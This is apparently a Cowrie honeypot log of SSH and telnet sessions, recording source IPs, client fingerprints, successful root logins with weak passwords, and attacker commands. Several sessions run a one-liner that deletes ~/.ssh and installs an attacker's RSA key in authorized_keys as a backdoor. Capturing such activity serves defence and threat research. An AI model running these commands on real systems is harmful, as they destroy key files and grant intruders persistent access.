{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:54:04.259407Z","src_ip":"85.198.97.85","session":"4a5548d75213","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"binladen","message":"login attempt [root/binladen] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:54:04.670157Z","src_ip":"85.198.97.85","session":"4a5548d75213","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:54:04.977701Z","src_ip":"85.198.97.85","session":"4a5548d75213","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'dGVzdA==' | base64 -d 2>/dev/null","message":"CMD: echo 'dGVzdA==' | base64 -d 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:54:04.980974Z","src_ip":"85.198.97.85","session":"4a5548d75213","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","size":4,"shasum":"ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:54:05.121447Z","src_ip":"85.198.97.85","session":"4a5548d75213","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:54:05.126872Z","src_ip":"85.198.97.85","session":"4a5548d75213","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.74.242.167","src_port":37552,"dst_ip":"159.203.135.109","dst_port":23,"session":"6206c4fea61d","protocol":"telnet","message":"New connection: 112.74.242.167:37552 (159.203.135.109:23) [session: 6206c4fea61d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:54:25.032793Z"}
{"eventid":"cowrie.session.closed","duration":31.24579620361328,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:54:56.278485Z","src_ip":"112.74.242.167","session":"6206c4fea61d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.7.113.83","src_port":56250,"dst_ip":"10.17.0.5","dst_port":22,"session":"d992d62e8af8","protocol":"ssh","message":"New connection: 157.7.113.83:56250 (10.17.0.5:22) [session: d992d62e8af8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:55:26.853259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:55:26.858299Z","src_ip":"157.7.113.83","session":"d992d62e8af8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:55:27.030137Z","src_ip":"157.7.113.83","session":"d992d62e8af8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Peugeot-123","message":"login attempt [root/Peugeot-123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:55:27.737433Z","src_ip":"157.7.113.83","session":"d992d62e8af8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:55:28.266934Z","src_ip":"157.7.113.83","session":"d992d62e8af8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:55:28.270437Z","src_ip":"157.7.113.83","session":"d992d62e8af8","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:55:28.274990Z","src_ip":"157.7.113.83","session":"d992d62e8af8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:55:28.461046Z","src_ip":"157.7.113.83","session":"d992d62e8af8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:55:28.839453Z","src_ip":"157.7.113.83","session":"d992d62e8af8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:55:28.842751Z","src_ip":"157.7.113.83","session":"d992d62e8af8","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:55:29.005843Z","src_ip":"157.7.113.83","session":"d992d62e8af8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:55:29.009725Z","src_ip":"157.7.113.83","session":"d992d62e8af8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.7.113.83","src_port":56262,"dst_ip":"10.17.0.5","dst_port":22,"session":"496a7bbcca25","protocol":"ssh","message":"New connection: 157.7.113.83:56262 (10.17.0.5:22) [session: 496a7bbcca25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:55:29.157595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:55:29.162208Z","src_ip":"157.7.113.83","session":"496a7bbcca25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:55:29.316878Z","src_ip":"157.7.113.83","session":"496a7bbcca25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:55:29.939616Z","src_ip":"157.7.113.83","session":"496a7bbcca25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:55:31.119287Z","src_ip":"157.7.113.83","session":"496a7bbcca25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.7.113.83","src_port":56276,"dst_ip":"10.17.0.5","dst_port":22,"session":"9347323435ff","protocol":"ssh","message":"New connection: 157.7.113.83:56276 (10.17.0.5:22) [session: 9347323435ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:55:31.269482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:55:31.276243Z","src_ip":"157.7.113.83","session":"9347323435ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:55:31.433774Z","src_ip":"157.7.113.83","session":"9347323435ff","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:55:32.097043Z","src_ip":"157.7.113.83","session":"9347323435ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:55:32.265080Z","src_ip":"157.7.113.83","session":"d992d62e8af8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:55:32.270129Z","src_ip":"157.7.113.83","session":"9347323435ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.248.40.17","src_port":56962,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8638730f8fd","protocol":"telnet","message":"New connection: 52.248.40.17:56962 (159.203.135.109:23) [session: f8638730f8fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:55:40.198490Z"}
{"eventid":"cowrie.session.closed","duration":10.044706106185913,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:55:50.243091Z","src_ip":"52.248.40.17","session":"f8638730f8fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"52.248.40.17","src_port":59700,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c5e1d1b5f6e","protocol":"telnet","message":"New connection: 52.248.40.17:59700 (159.203.135.109:23) [session: 5c5e1d1b5f6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:55:50.282506Z"}
{"eventid":"cowrie.session.closed","duration":0.05557394027709961,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:55:50.337949Z","src_ip":"52.248.40.17","session":"5c5e1d1b5f6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.240.90","src_port":60188,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf992f5bd9ed","protocol":"ssh","message":"New connection: 160.187.240.90:60188 (10.17.0.5:22) [session: bf992f5bd9ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:57:08.225410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:57:08.229096Z","src_ip":"160.187.240.90","session":"bf992f5bd9ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:57:08.486526Z","src_ip":"160.187.240.90","session":"bf992f5bd9ed","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Peugeot-123","message":"login attempt [root/Peugeot-123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:57:09.562479Z","src_ip":"160.187.240.90","session":"bf992f5bd9ed","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:57:10.127707Z","src_ip":"160.187.240.90","session":"bf992f5bd9ed","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:57:10.130649Z","src_ip":"160.187.240.90","session":"bf992f5bd9ed","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:57:10.133919Z","src_ip":"160.187.240.90","session":"bf992f5bd9ed","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:57:10.395781Z","src_ip":"160.187.240.90","session":"bf992f5bd9ed","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:57:10.959454Z","src_ip":"160.187.240.90","session":"bf992f5bd9ed","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:57:10.962780Z","src_ip":"160.187.240.90","session":"bf992f5bd9ed","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:57:11.209419Z","src_ip":"160.187.240.90","session":"bf992f5bd9ed","protocol":"ssh"}
